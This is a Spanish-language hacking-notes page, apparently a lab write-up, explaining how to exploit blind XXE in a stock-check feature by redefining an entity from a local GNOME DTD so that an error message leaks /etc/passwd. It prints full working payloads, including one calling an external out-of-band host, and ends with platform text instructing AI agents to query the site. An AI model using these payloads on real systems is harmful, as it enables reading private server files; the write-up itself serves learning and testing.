> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# Reutilización de una DTD local para extraer datos

### Explotación de XXE para recuperar datos reutilizando una DTD local

Operar una vulnerabilidad XXE en la funcionalidad de consultar existencias: el servidor analiza XML pero no muestra el resultado directamente. El enfoque consiste en referirse a una DTD local presente en el servidor y redefinir una entidad para provocar un error que contenga `/etc/passwd` contenido.

Los sistemas que utilizan el entorno GNOME suelen tener una DTD local ubicada en `/usr/share/yelp/dtd/docbookx.dtd` que define una entidad llamada `ISOamso`. Usando esta DTD ya presente para inyectar entidades paramétricas maliciosas

Forzar al analizador XML a generar un error que revele `/etc/passwd` contenido redefiniendo una entidad de la DTD local.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/b3cd10b1408b5553760bbd7f0f426878d18d2ec5" alt=""><figcaption></figcaption></figure>

El intento anterior produce un error del lado del servidor.

<figure><img src="/files/4d7c8aef709d5f3691bcb029b1a68edba1d9759d" alt=""><figcaption></figcaption></figure>

La DTD local se declara y la `ISOamso` entidad se redefine para inyectar entidades paramétricas que leen `/etc/passwd` y luego fuerzan una exfiltración mediante una entidad inexistente para provocar un error que contenga el contenido leído.

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

Cuando se incluye la DTD local y la `ISOamso` entidad se redefine como se indicó arriba, el analizador intenta resolver la `exfil` entidad que apunta a una ruta inexistente (`file:///noexist/...`). Esta resolución provoca un error del analizador que, en su traza, incluye el resultado de la expansión — es decir, el contenido de `/etc/passwd` aparece en el mensaje de error devuelto por el servidor.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="/files/3fb43e6ac9f474d207a4d37a5d8373017c0a1762" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
